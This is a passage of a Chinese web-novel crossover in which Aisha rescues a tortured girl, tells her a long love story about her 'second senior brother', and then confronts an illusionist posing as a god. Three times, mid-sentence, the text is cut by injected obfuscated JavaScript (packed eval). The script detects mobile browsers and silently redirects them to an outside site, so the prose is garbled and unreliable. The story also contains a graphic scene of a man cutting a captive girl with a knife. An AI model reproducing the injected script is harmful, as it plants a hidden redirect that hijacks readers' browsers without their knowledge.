“明白了。”艾莎点点头,然后又拿了几块C4炸.药——这种炸.药形似面团、可以被揉成各种形状且容易夹带,一向是恐怖分子最爱。 拿完她又熟门熟路去找□□,俨然一副炸过几千栋房子的熟稔模样。 Reborn静静看着她,眼底若有所思。 宽松卫衣在这时显现出作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658781|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用,艾莎走出房间时还是两手空空的状态。可武器库内的库存已悄然少了一小半。 “…我还得去趟医务间。”她想了想,然后说道。 -- 火苗死寂的在蜡烛上跃动,蜡烛安静的流淌下眼泪。 光照亮了黑暗的一角,又在暗的衬托下显得虚弱而阴沉。 金发的漂亮女孩双眼无神的躺在地上,她的右手手臂以某种奇异的角度弯折,赤裸的腿上遍布刀口。 “嘿嘿、嘿嘿……”男人发出轻快的怪笑,他用一柄猎刀在女孩大腿上划出又一道伤口。 肌肉因为疼痛而微微痉挛,可女孩本人却没有多少反应。 “痛不痛、痛不痛?”他的语气很轻柔,手指在最深的伤口上来回抠弄一下。 带着污垢的指甲重重刺入红嫩的伤口,就像人类文明搅烂玫瑰花田。 听到女孩颤恨的哀鸣,他畅快的笑起来: “世界就是这样残酷的啊,感谢我吧,让我来教你——咩——咩——” 迎合着那痛苦的啼哭,他神经质的学起羊叫。 就在这折磨变得越发狂乱时,房间骤然响起另一道嘶哑男声。 “另一名‘玩家’已进入场地,‘守卫者’,记得做好准备。” 听到声音,男人立即停止了动作。 他急切地掏出自己的手机,并虔诚的用双手捧高——刚才的声音就是从那里传出的——大颗大颗泪水从他污浊的双眼涌出: “神!啊啊——没想到我竟然能听见神的声音——”他激动的颤抖起来,“神、神明大人,您之前说的事——” “是真的。”‘神’含笑打断了他,“赢得这场游戏,把它当作我对你的考验。” “——通过考验,你会成为我等真正的同志。” 男人膝盖一软,他感激涕零的不停在胸口划着十字架。 他没有听出‘神’的声音里带着嘲讽与讥诮。比起恩赏信徒,这种语气更像是鼓励瞎子向深渊迈步,又或者螳螂不怀好意地盯着幼蝉。 金发女孩已经被折磨得对时间没了概念。然而在听见“玩家入场”几个字时,她的眼中还是现出微弱的光彩。 尽管那光只一瞬便被懊悔与羞耻浇熄了。 “别担心,那个女人找不到这里的。1个小时的时间,她连教学楼都搜不完。”男人安慰般抚摸她,吐息间带着种令人作呕的潮湿。“等游戏结束,我再来教你很多东西、很多很多东西……” “你知道什么样的刀最利么?”他一边闲聊,一边用刀锋轻轻剐蹭女孩洁白的大腿。 “女人就像羊一样。而你是神赐给我的,就是被最上等的饲料喂养过的羔羊。神说浸润了这种血的刀,能切开世界上最锋利的东西。”他语序颠倒的嘿嘿笑着,闭眼享受女孩身体每一寸的僵硬。 然后他突然咬牙切齿起来: “我要把那个女人活活切开来!那个——胆敢——挑衅神的——不洁的——东西!” 男人话刚说完,一声巨响猛地在空气中爆裂开来。 门被踹开了。 这完全是意料之外的事。他甚至来不及反应,下一秒身体就已经飞到了墙上,在这之后痛觉才后知后觉的跟上。 “啊——啊——”他想确认发生了什么却又抬不起手,只好惊恐的叫起来。 “不好意思,我听不懂意大利语。”女人冷冷地说。她走近男人,听声音嘴里似乎还嚼着口香糖。 猎刀被一脚踢到了很远的地方。 “反应慢就别玩刀了。” 艾莎侧头看了看克里斯蒂娜的状态,然后避开要害,面无表情的冲着男人又扣动了几下扳机。 23. 第23章 二师兄(上) 艾莎在克里斯蒂娜面前蹲下。 她先是拿出一个小型探测仪把人从头到脚扫了一遍,看到探测仪没反应,她微微松了口气,然后才开始检查伤口。 “骨头没事,肘关节脱臼了。”艾莎托起克里斯蒂娜弯折的右小臂,并把它慢慢内旋向正确的位置,“接下来会有点痛。” 说完她立即发力,将手臂、骨头和韧带移动回到原位。在此之前克里斯蒂娜一直呆呆的躺着没反应,可这个矫正伴随着巨大而尖锐的痛苦,叫她忍不住哭叫着挣扎起来。 “这几天右手都不能动。”艾莎边说边用系带固定住她的关节,“其它的我们上去再处理。” 她打横抱起克里斯蒂娜,头也不回的离开了这个地方。 沿着狭窄楼梯向上,她们来到一间干燥的、正常的房间。 克里斯蒂娜被轻轻放在地毯上。她呆然看着艾莎熟练地封锁住方才的地下室入口、从房间里找出八个摄像机并分别破坏、在门口窸窸窣窣捣鼓一阵、最后又点亮一盏煤油灯。 昏黄色的光亮起来的那一刻,她仿佛从地狱回到了人间。 艾莎从背着的双肩包里取出一个小型医药箱,“先做一下紧急处理。你对破伤风针过敏么?” 克里斯蒂娜迟钝地摇摇头,任由艾莎取出针管完成注射。 无论是“谢谢”还是“对不起”,这种时候都哽在喉咙里出不来。终于能开口时,她的声音干涩的打着颤: “…你是怎么找到这里的……?” 先前男人说这里没人能找到,他的自信不是没有道理。这里是废弃的校工室,地方偏僻,鲜少有人知道。 更别提她还被关在更加隐蔽的地下室里。 “对方说‘游戏’地点是圣贝罗女子学校,我恰好背了这里的平面图纸。来了以后当然从最隐蔽的地方开始找,没想到一找就找到了。”艾莎道。 她的言灵不像镰鼬那样可以强化听力。但混血种体质特异,如果静下心来,感知方圆500米内的风吹草动还是没问题的。 对方做的最错误的决定就是把地点放在圣贝罗这个她盯了两天梢的地方。 夜晚的学校非常安静,刚靠近这里她就听到了藏在地下的心跳声。 “很遗憾,现在的情况没法给你注射镇定剂。先喝点水,小口抿,这能让你快速镇静下来。” 艾莎从包里掏出一个保温杯和一大袋子吃的,然后又变魔术般抽出一大张毛毯盖在克里斯蒂娜身上。 克里斯蒂娜:“……” 她一时反应不过来,觉得气氛瞬间变得温馨起来,有点像是野餐。 “袋子里都是高热量零食,自己选。”艾莎帮她拧开保温杯,“你需要快速补充体力。” 大概是知道自己闯了祸,克里斯蒂娜表现得极为乖巧。她默默把毛毯裹紧,又接过艾莎倒的水,听话的小口小口喝起来。 “右腿给我。”艾莎将医用双氧水和纱布排排码好,她托起克里斯蒂娜的脚踝判断伤势,“还好是皮外伤为主。我不大擅长包扎,大概会有点痛。” 火光在她脸上摇晃出阴影。那双冰蓝色的眼睛平静而专注,从里面看不出任何埋怨或者愤怒。 可越是这样,克里斯蒂娜越感觉到一股死寂。 “…为什么来救我?”她咬牙问道。 “为什么不来?”专注于伤口的处理,艾莎随口道。 “……我私自行动、破坏了计划、还被敌人抓住……是我不自量力、让彭格列蒙羞。”说着说着,克里斯蒂娜眼眶泛红。 这些话放在脑子里想是一回事,说出来是另一回事。她为自己的脆弱感到羞耻,之前不是下定了决心么?她犯了巨大的错误,就应该支付巨大的代价。 “…为什么来救我?让我一个人去死就好了啊……”食物和水使她恢复了一些精力。眼泪终于絮絮流下,她崩溃地捂住眼睛,心想死就死、就那样死掉要好过活着。 下一秒,剧烈的疼痛疯狂灼烧她的神经,连带着把刚才的酸涩一起蒸干了。 “啊啊啊啊啊啊啊啊啊啊——” 她痛叫出声,泪眼朦胧间在心里疯狂问候菲奥娜·怀特全家——这个女人居然粗暴的把大半瓶双氧水直接倒在了她的腿上!而且做完这种事居然还露出那种超无辜的表情! “…好不容易恢复的体力不要浪费在哭上面啊喂,哭很耗体力的。”艾莎没心没肺地说,“你刚才说想死是吧?” 她很快乐的嘎嘎一笑:“诶我就不让你死。现在知道计划被人打乱是什么感觉了?略略略略略!” 望着她那副“打我呀打我呀诶嘿打不着”的淫.贱反派嘴脸,克里斯蒂娜瞬间陷入沉默。 ——不是、这是什么路数?给她按常理出牌啊喂!? “…你不明白、事情不该是这样的。你知道么,我从小就能感知到人的气场。”克里斯蒂娜咬牙继续,她试图回到双氧水之前的那种悲惨情绪中去,“可Mafia的气场都叫人恶心,包括爱德华多。只有纲吉先生、只有纲吉先生是不一样的……” 知道一时半会儿结束不了,艾莎边听她说话边继续包扎。 因为特殊能力,克里斯蒂娜从小就不愿意待在人多的地方,固执地认为Mafia都是贪婪的坏蛋。直到一次她被刚刚继承家族的沢田纲吉所救。那么温暖那么安宁的气场,叫小小的女孩悄然付了初心。 “…纲吉先生不喜欢我,那么就努力变成他需要的人。”克里斯蒂娜低声道,“来圣贝罗上学、去参加人很多的派对、私底下拼命修炼、好不容易点燃了死气之火……就算这样还是不喜欢我也没关系,为了他我什么都愿意做,哪怕死掉也没关系。” “可为什么事情会变成这样?明明、明明都那么努力了,结果不光什么都没做成,还沦落到这种难堪的境地,居然还要连累你来救我……早知道这样、还不如就那么死掉……现在要我怎么再去面对纲吉先生啊……”克里斯蒂娜再次抽噎起来。 “麻烦先停停,左腿给我。”艾莎不为所动地说,然后她把另外半瓶双氧水倒了上去。 “啊啊啊啊啊啊啊啊啊啊——”克里斯蒂娜好不容易酝酿好的情绪再次被剧痛打断。 等她嚎完,艾莎才啧啧道:“爱他爱到为他死什么的——你这样想就容易出问题嘛。就跟我二师兄以前一样。” 克里斯蒂娜痛得说不出话,只能在心里疯狂骂人。她心想菲奥娜·怀特真是个糟糕至极的倾诉对象,根本毫无同理心可言。 当你把“需要安慰”四个字摆在脸上的时候她会往你伤口上倒一整瓶双氧水,那种感觉酸爽得就好像你的心理医生不听你说话而是快乐地围着你摇晃屁股载歌载舞……神经病,菲奥娜·怀特就是个神经病。 而且为什么这时候对话里会突然出现什么二师兄?她二师兄谁啊,你根本不关心好么?! 然而不管她关不关心,艾莎都不打算让她继续浪费体力。 她往克里斯蒂娜嘴里塞了根甜腻的巧克力棒,并示意她全部吃完。 “我二师兄是个衰仔,以前暗恋我们一个漂亮师姐。不过师姐已经有了谈婚论嫁的高富帅男友,二师兄就暗恋得很绝望。”艾莎耸耸肩,“虽然他不说,但每次他偷偷摸摸看师姐的眼神都好像在说‘啊求求你和我在一起吧你是我人生的第一束光为了你我愿意去死’。” 克里斯蒂娜郁闷地嚼着巧克力棒,心想你二师兄听起来真变态,她对纲吉先生的感情才不是那么变态的东西……可是仔细想想好像又确实挺像的。 于是她更郁闷了。 “当时我就不看好。二师兄的爱用尽全力,看起来那么绝望。但爱是这么让人喘不过气的东西么?感觉就像一副重担,”艾莎顿了顿,“或者道德绑架,就像一个人仰着头说‘看啊我能为你付出这么多东西,为了你我连命都可以不要,都到这种地步了你就不能也爱一爱我么?’” 克里斯蒂娜瞬间觉得心里被□□一刀。 “其实二师兄身边不缺妹子,但他为了漂亮师姐守身如玉。”艾莎陷入回忆,“每年情人节他都情愿窝在宿舍。这时候我大师兄就会拍着他的肩膀说兄弟人生有什么坎儿过不去啊今年也一起看《断背山》吧。哦,大师兄和二师兄是室友。” 喂喂你二师兄真的没问题么?听起来一副绝望到扭转性向的样子啊!? 还有你大师兄也奇奇怪怪,他对你二师兄真的不是别有用心觊觎已久么!? 克里斯蒂娜疯狂吐槽。她加速咀嚼巧克力棒,心想怪不得菲奥娜·怀特是个神经病啊她身边全都是神经病。 “老实说,有时候我觉得二师兄有朝一日真的会为了这份爱去死。我很讨厌命中注定这个说法,就好像一切都已经被预设好了。可二师兄对漂亮师姐的爱真像命中注定——二师兄命中注定遇到漂亮师姐、命中注定得不到她的爱、命中注定被自己那份无望的爱拉扯着一步一步走向毁灭。谁也拉不住他。”艾莎轻声道。 等等,为什么气氛突然沉重起来?你二师兄不就是条普通舔狗么?为什么突然就要走向毁灭!? 这个狗血单恋故事莫名其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658782|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妙具有了史诗级的宿命感。克里斯蒂娜丈二和尚摸不着头脑。 “直到我二师兄遇到了……诶,二师兄的女朋友应该怎么说,二师嫂么?”说完艾莎自己先挠挠头。 她脑海中浮现出绘梨衣呆萌呆萌的样子,和“二师嫂”这个称呼好像不太搭配。 克里斯蒂娜用眼神表达“称呼什么的随便啦快继续说下去。” 八卦是人类天性,虽然嘴上嫌弃但听都听了,她对这个二师兄的爱情故事还是挺好奇的。 艾莎就继续道: “二师嫂和你一样,都是大户人家的小姐啦。她身体不好,从小被关在家里,能接触的人很少很少。虽然表面冷冷的,但其实是那种很乖很善良的女孩子。二师兄机缘巧合之下带她离家出走,后来经历了一些事,她就喜欢上二师兄了。” 她侧耳听了听屋外的动静,手上包扎动作不停: “不过她没有告白,可能是不知道喜欢一个人还需要告白。而且她还有一、不对,两个妹控哥哥,这方面估计帮了不少倒忙。之后二师嫂身体好了很多,二师兄就回美国继续读书,他们用Line保持联系。二师嫂经常问他什么时候再来日本。” “然后呢?”克里斯蒂娜问。她终于把那根巧克力棒吃完了。 艾莎诧异地看了她一眼,像是没想到她会对这个故事这么感兴趣。她放缓语气继续道: “再后来二师兄被全世界追杀。二师嫂一得到消息就往他那边赶,她一辈子没出过东京,可还是跌跌撞撞地去到他身边——想想很浪漫不是么?全世界都与你为敌的时候,有那么一个人毫不犹豫地逆着人群去找你。” ——然后她挡在你身前,手中刀锋指向一切与你为敌的人。 “之后他们就在一起了么?”克里斯蒂娜问道。她没在意“被全世界追杀”这种可疑的细节,反而更加沉浸在这个故事里。 她想象一对面目模糊的男女在滂沱大雨中驾车奔逃。全世界都是他们的敌人,于是他们彼此依偎。 “没有。二师兄只是很感动。”艾莎无情地破坏了她的想象,“而且当时大师兄和漂亮师姐也在。” “……你二师兄好难搞。”克里斯蒂娜尝试往想象中那辆雨中汽车里塞入一个面目模糊的妖艳女人和一个更加妖艳的Gay师兄,这个爱情故事瞬间变得离谱起来。 “二师兄是那种心思纤细的男子啦。”艾莎也叹了口气,“我当时没和他们一起。不过据大师兄观察,当时二师兄也不对漂亮师姐蠢蠢欲动了,估计两人把话说开了。他心里装着的是别的事,整天一张‘等查清事情真相我就可以去死了’的衰脸。” 二师兄是个有秘密的男人,但是没人知道他的秘密是什么。 校长也许知道,可是校长已经死了。 不过艾莎对这个不是很在意。他们的世界本来就充斥着各种秘密,不光大师兄二师兄有秘密,她自己也有秘密。 她的秘密校长也知道,可校长已经死了。 “那段时间二师嫂一直陪在他身边。其实以二师兄的性格,不该让她陷入危险的。可当时他自己大概也有点害怕吧?所以经常和二师嫂待在一起,她不会说话,二师兄就也不说话,两个人打字交流。”艾莎笑笑。 “后来呢?”克里斯蒂娜问道。 在她的想象中,那对面目模糊的年轻男女安静地待在一起,他们各做各的事,偶尔用手机闲聊,时间过得平常、浪漫而隐秘。 后来二师兄的逃亡队伍越来越壮大。艾莎本人是在带队追杀他的途中直接反水,二师嫂的两个哥哥则带着整个日本分部又反了一次秘党。 ——人的羁绊十人十色,那些羁绊蔓延成一张巨大的网。针对二师兄的追杀越来越狠厉,可来帮他的人也越来越多。 那是一场盛大的逃亡。 最后就像滚雪球一样,那场逃亡范围涉及全球,又接连牵扯出龙族剩下的王、秘党长老会的阴谋、以及那终于苏醒过来的、象征世界终焉的黑色皇帝。 然后是万军之战。前仆后继,尸山血海。 “后来事情结束了,针对二师兄的追杀其实是场误会。”艾莎轻描淡写地说,她略去了那些没必要回忆的东西,“二师嫂知道旅途结束了,就乖乖和二师兄道别,说要跟着哥哥回去了。” 克里斯蒂娜失望道:“…就这样?” “当然不——二师兄一把拉住了她!”艾莎露出“我磕的cp成真了”的幸福表情,“你猜他说了什么?” “他说了什么?”克里斯蒂娜被吊足胃口。 24. 第24章 二师兄(下) 路主席和上杉家主的爱情八卦至今高悬在守夜人论坛顶部,成了学院最知名灌水帖之一。 没办法,一个是冲在屠龙最前线、万众敬仰的前任学生会主席,一个是君临日本混血种的黑.道公主,最妙的是这段爱情还不贼受女方家庭待见(鉴于战后蛇岐八家一直没撤销针对路主席及他几个亲近友人的悬赏追杀)。 噫吁嚱,此瓜竟然兼具了《罗密欧与朱丽叶》的冲突张力与《奥德赛》的浪漫坚贞,这这这简直绝了呀! 总而言之,每逢深夜都有无数吃瓜群众爬上论坛嘶哈嘶哈的为此贴增砖添瓦。光是路主席告白场面的猜测就发展出了上百种。 有说路主席通过MINT俱乐部订购了一亿三千万朵玫瑰,然后从直升机上纵身一跃到上杉家主面前单膝跪下直接求婚的。路主席的求婚戒指就像人的拳头那么大,他们身边飘洒着深情款款经久不息的玫瑰花雨; 有说路主席提刀一路砍翻猛鬼众与蛇岐八家另外七姓家主,倾盆大雨中他面无表情向上杉家主伸出手,冷冷问她“拒绝么”的。然后上杉家主娇羞的双手捧心,被路主席一把打横抱起消失在月下…… 水着水着终于有明眼人看不下去仗义执言,说你们脑的哪儿是路主席,分明是乡村重金属版凯撒或者月下淫.贼版楚子航。 拜托诶我们路主席大概率是在黑王尼格霍德的神殿告的白!那可是黑王神殿!有史以来最大的尼伯龙根! 那必定是劫后余生如释重负众目睽睽浓情蜜意,浴血的男孩女孩紧紧拥抱在一起。 明眼人一边畅想一边像蛆一样在床上扭动,顺便求参战的师兄师姐证实。 然而参战的师兄师姐不约而同保持沉默,那几个知名id从未在此贴中出现过。 不过明眼人猜得大差不差。 虽然事情发生在出了尼伯龙根以后,但的确是劫后余生众目睽睽,路主席一把拉住了上杉家主的手。 只见他停顿几秒,不知是深呼吸还是大脑空白,其眼神时如老僧入定,时如即将发狂的猩猩。“千万别说烂话啊……”熟知他的亲友都在心里祈祷。 总之漫长的几秒后,路主席总算轻启朱唇—— “他说了什么?”克里斯蒂娜被吊足胃口。 “他问我二师嫂——”艾莎一脸满足痴笑,“要不要一起去吃奶油蛋糕。” “……哈……?” 克里斯蒂娜迟疑着给出一个降调后又微微升调的“哈”,表情如同干了一杯形如烈酒的白开水。 “乍一听很烂是不是?”艾莎了然地说,“虽然不到‘隔壁超市的薯片半价喔’那种程度的不合时宜,但这种放弃了搞笑风格又有点小浪漫的发言反而让人觉得索然无味,反而烂得很出奇。” 克里斯蒂娜心说槽都让你吐完了我还能说什么。但她直觉二师兄的告白不像表面那么简单,于是问道:“这句话是有什么特殊含义么?” 艾莎点了点头: “二师兄说他当时仿佛进入人生走马灯。其实他和二师嫂有不少回忆啦,比如大雨中手拉着手逃亡啊在落日时分的海边悬崖拥抱啊,但最后他脑子里只剩下奶油蛋糕……诶,说到这儿都有点饿了,递点百奇给我。” 重新听入迷的克里斯蒂娜:“……” ……所以你们师门脑子里是都只有吃的么?! 艾莎的两只手都在忙活。克里斯蒂娜只好亲自喂给她。 “那是他被追杀之后的事了。之前不是提过么,那会儿他把对漂亮师姐的执念放下了——不对,准确说他可能把一切都放下了,整天思考‘我是谁我从哪儿来我到哪儿去’这种终极哲学三问。”艾莎的腮帮子鼓囊囊地嚼着零食。 “……你确定他这是放下漂亮师姐了么?”克里斯蒂娜打断她,“听上去他一副师姐就是他活着的全部意义放下师姐他就要去死的样子啊。” 槽完她突然表情微妙。想起几分钟前她刚说过要为了纲吉先生去死之类的话。 “二师兄放下师姐和他当时怀疑人生是两回事啦。我也不知道他是怎么放下的,不过后来他提过那么一两句。”艾莎想了想道。 “原话大概是‘爱上师姐是因为相遇在他最窘迫的时候,那个逆光踹开影院大门的身影那么模糊又那么美。所以拼了命的想要接近,可越想接近就越看不清楚。后来师姐看他太累,主动往下走了一两步。那个身影终于没那么模糊了,可稍微看清一点后,反而又不知道和她说什么。现在想想,喜欢师姐是因为师姐就是很招人喜欢,可那么执着是因为那一刻师姐身后的光太耀眼、记忆里的相遇那么美’。” “…是不是挺意识流的?”快速复述完一遍,艾莎露出牙酸的表情,“有时候二师兄说话就和念诗一样,让人有点听不懂。” 和二师兄比她大概是个很失败的文科生。 克里斯蒂娜却仿佛若有所思。 “不过二师兄的确就是那种没什么安全感的人啦,老觉得自己是个衰仔什么的。”艾莎打了个漂亮的结,然后用剩下的纱布擦了擦手,“他最开始不喜欢二师嫂可能就是因为害怕吧,觉得二师嫂对他有好感是因为见的人太少,等多见见世面勘破他的废柴本质后就不会喜欢他了。” “事实证明他多虑了,二师嫂喜欢的就是他这个人。后面有几次他心态崩了,还是二师嫂给拉回来的。” 绘梨衣是那种在人前蛮容易害羞的性格。但每次二师兄想搏命她都会把写着“baka”的小本本拍到他后脑勺上去。 虽然二师兄的脑袋好像越来越扁平,但艾莎还是觉得这一幕甜得不行。 有时她会想自己是不是也有点羡慕——世界上有那么一个人时刻牵挂着你,只要她还活着你就不会是孤单一人,你就还有一个活下去的理由。 二师兄是怎么形容来着?“时刻保持家犬的幸福感。” ——想想真温暖啊。叫人心里微微一动。 见她突然停住并露出微笑,克里斯蒂娜忍不住催促起来。她超想知道这个难搞的二师兄最后是怎么爱上二师嫂的。 “后来二师嫂不是在道别的时候被二师兄一把拉住了么?他估计是突然开了窍,半天没想好要说什么,脑子里走马灯一样回忆自己和二师嫂的过去,想拉扯出一两条告白语。最后他想到的就是‘吃奶油蛋糕’。” 艾莎竖起一根手指。 “——奶油蛋糕上不是会有一颗草莓么?有一次二师兄鬼使神差,把自己蛋糕上的草莓叉给了二师嫂。二师嫂想了想,就也把自己的草莓叉给了二师兄。”八卦着八卦着艾莎重点跑偏,“其实我觉得那会儿他们就有点苗头了。要知道那可是奶油蛋糕上的草莓啊——奶油蛋糕上最精华的部分!” 克里斯蒂娜心说逃亡路上还有奶油蛋糕吃你们这果然不是什么正经逃亡。 她不知道二师嫂的两个哥哥妹控到何等丧心病狂的程度,后期恨不得各国米其林三星厨子都配置一个到逃亡队伍里,然后所有厨子一人一刀把讨厌的路君料理掉…… “你重点是不是跑偏了……然后呢?” “然后这就成了他们之间的惯例。每次吃奶油蛋糕都会互换草莓。” 克里斯蒂娜想象一下那对面目模糊的男女互换草莓的样子,场面真是有点笨蛋又暧昧到酸臭,这不在一起简直天理难容。 “但是有一天,当二师兄照旧把草莓叉给二师嫂的时候,二师嫂突然不干了。她看了看二师兄,然后把两颗草莓都自己吃掉了。在那一刻,二师兄的心灵受到了极大的震动。”艾莎严肃道。 “……你这个说法会让我觉得你二师兄把你二师嫂暴打了一顿……”克里斯蒂娜槽道。 “…没有啦。”艾莎再次觉得自己是个失败的文科生,“二师嫂是那种很乖很乖的女孩子,一切东西都要和喜欢的人分享。蛋糕上的草莓也是,既然二师兄把自己的给她,她就要把她的给二师兄。” “可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658783|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么一个女孩子,有一天突然把两颗草莓都大口吃掉了。而且吃得超级幸福,好像在说‘下次你再把草莓给我的话我还是会把两颗都吃掉,所以下次再一起吃蛋糕的时候你要想好喔’。”艾莎想了想,还是搬出了二师兄的原话。 “二师兄就真的好好想了,最后得出的结论是下次还是想和二师嫂一起吃蛋糕,而且还是会把草莓叉给二师嫂。想通这一点后,‘突然就觉得很安心。就像齿轮转到正确的位置,发出‘咔’的一声轻响。’” 有时感情的萌生就是这么没道理吧? 她毫不犹豫为了你与全世界为敌的时候你只是感动,可看到她吃到两颗草莓的样子那么幸福,心里突然就微微一动,突然余生都想把自己的那份草莓让给她吃。 心动是一瞬间的事、一瞬间又让人想到一辈子。想到两个人都白发苍苍的时候,是不是还像现在这样在一起。 她是那么美好的女孩,又在那么美好的年纪,以后一定会遇到一个又高又富又帅还对她特别好的男人。 可心里突然不甘心起来,觉得那个素不相识的男人那么面目可憎。 所以要在分别的时候一把拉住她,要磕磕巴巴问她“待会儿要不要去吃奶油蛋糕。” 其他人的脸都变成囧字形也无所谓,她哥哥阴恻恻地拔刀也无所谓。 因为她的眼睛一下子亮起来。 他找寻这光亮仿佛已经很久很久,久到看到的那一瞬心里尘埃落定,仿佛故人白发相逢。 “所以这真是我听过最浪漫的表白了。”艾莎道,“二师兄以前对人好,总让人觉得他在掏空自己。可是和二师嫂在一起的时候就不一样,两个人会腻歪也会吵架……很平凡又很真实。” “那他们现在呢?”克里斯蒂娜不知不觉听得入了神。 “现在他们回中国开了家网吧,离二师兄老家很近。二师兄的叔叔很喜欢我二师嫂的,每次他们去拜访都会给她做湘派红烧肉吃。”艾莎把最后一根百奇塞进嘴里。 “……这个故事真好。”克里斯蒂娜轻声道,“…你是不是想说我对纲吉先生的感情就像你二师兄对他师姐一样,都没什么希望?” “不,我只是觉得为爱去死什么的一点也不划算。”艾莎开始收拾剩下的零食,“比起让纲吉君以后一想到你就笑容一僵暗自缅怀你一辈子什么的,还是和他互相喂草莓这种比较甜吧?” “——所以要活下去啊。”她轻轻道,“活下去总会有好事发生的。” 克里斯蒂娜愣愣地看着她。 “好了时间差不多了。”这时艾莎看看手机时间,“正好过了十五分钟——现在安静听我把话说完。” “【game】针对你的绑架是个陷阱,目前我们还没有脱离危险。待会儿无论发生什么,都要乖乖听我的话。” 克里斯蒂娜一愣。随即她一脸的“那你刚刚怎么还那么淡定啊喂!” “他们准备好陷阱我就非得立即踩下去么我又不傻。”艾莎耸耸肩,“一鼓作气再而衰三而竭,那我总得等到‘三而竭’嘛。” 她把收拾好的双肩包挂到克里斯蒂娜身上,然后背着她走到门口。 克里斯蒂娜这才发现门口被布置了一个无比复杂的陷阱。透明的钢线静静蛰伏在黑暗中,如果在她们谈话的时候有人冲进来,那个人的四肢会被直接切碎。 “出发咯?”回收完陷阱,艾莎一把拉开了门。 她们所处的位置是废弃的校工室,本应被隔离在一片小树林中。 可当艾莎拉开门后,映入二人眼帘的却是宽敞的教学楼走廊。清冷月色斜斜洒下,地面上有树影摇曳。 “这是……二楼的走廊?”克里斯蒂娜不确定地说。眼前的空间置换过于诡异,叫她忍不住更加搂紧了艾莎的脖子。 艾莎不置可否。 她们踏入走廊的一刹那,音乐声就迫不及待地响彻起来。 ——那是上课铃声。 25. 第25章 Nephilim “好神奇,这就是传说中的幻术么?” 艾莎尝试着破坏了一扇窗户。 可窗户外面还是窗户,被打碎的玻璃片还没落到地上就悄然消失在了半空之中。 “雾属性的特性确实是‘构筑’没错……可这种程度的幻觉恐怕不是一个普通术士能做到的。”克里斯蒂娜提醒道。 “那就是借用了匣兵器或者其他设备?”艾莎好奇地掂量掂量手中的消防锤,这是她刚刚从墙上拆下来的,手感非常真实,很难相信这是不存在的东西。 与通常理解中‘完全虚假的幻象’不同,Mafia口中的幻术更像一种“我思故我在”的概念。顶级的幻术师甚至能够通过制造脏器的幻觉来救人性命。 第一次听沢田讲解原理的时候,艾莎就觉得雾属性与其他属性的火焰根本不是一个画风。后者只能用于战斗,前者却实用得叫人心生艳羡,感觉能用来做好多坏事。 “……嗯,破坏窗户或者墙壁大概是没用的。我们被困住了。”克里斯蒂娜沮丧地说。 “那就继续往前吧。”艾莎将消防锤扔到一边。 沢田说过,再强大的幻觉也是人为制造出的。只要找到施术者,一切都会迎刃而解。 上课铃声在空无一人的走廊上不断回荡。作为一所私立贵族女校,圣贝罗连上课铃都是舒缓高雅的古典乐。艾莎隐隐觉得有股熟悉感,却又想不起在哪里听过。 她们很快来到走廊尽头。向下向上的楼梯都被粗大的藤蔓封死了。 这样看起来,她们的选择好像只剩下尽头的教室。 “——那边是礼堂。”克里斯蒂娜小声道。 艾莎点点头。确定没有陷阱后,她推开了礼堂的大门。 里面同样空无一人。空寂的月光穿透高高的悬窗,照亮了最前方高台的一角。 一张课桌被摆放在那里。一只枯瘦的手正静静搭在桌上。 “欢迎来到最后一场考验,菲奥娜·怀特。”手的主人声音嘶哑。他藏在黑暗中,看不清身形。 “通过考验,‘神’将赐予你前往‘方舟’的通道。” 他朝艾莎伸出手去。虚空之中突然也出现一只巨大的手,像是要朝她们凌空压下。 面对巨物,人总会下意识心生恐惧。克里斯蒂娜不由屏住了呼吸。 而艾莎想了想,走到一边把礼堂的灯打开了。 克里斯蒂娜:“……” ‘神’:“……” “投影设备不错。”艾莎怜悯地说,“但装神弄鬼被戳穿,我都替你尴尬。” 礼堂骤然变得明亮。虚空中的巨手不见了,课桌旁的人影也变得模糊——两者竟然都是全息投影产生的效果。 “……又见面了,菲奥娜,”‘神’桀桀地笑起来,尽管身影模糊,却也不难想象他此刻激动扭曲的面容,“啊啊——自从分别的那一天,我就一直期待着我们的再会。” “他在说什么?”艾莎询问克里斯蒂娜。后者流着冷汗为她翻译。 一旦失去神秘感后,‘神’的威严全无,事情变得好像一场闹剧。 “——通过考验吧,”‘神’似乎听不懂人话,他再度伸手,“我会在‘觐神之所’等你。” “比起这个你还是多担心一下彭格列的制裁比较好吧,”艾莎顿了顿,她一时忘记了他的名字,“那个、那个什么德维尔来着?” “……伊凡·德维尔。”克里斯蒂娜在她耳边提醒道。 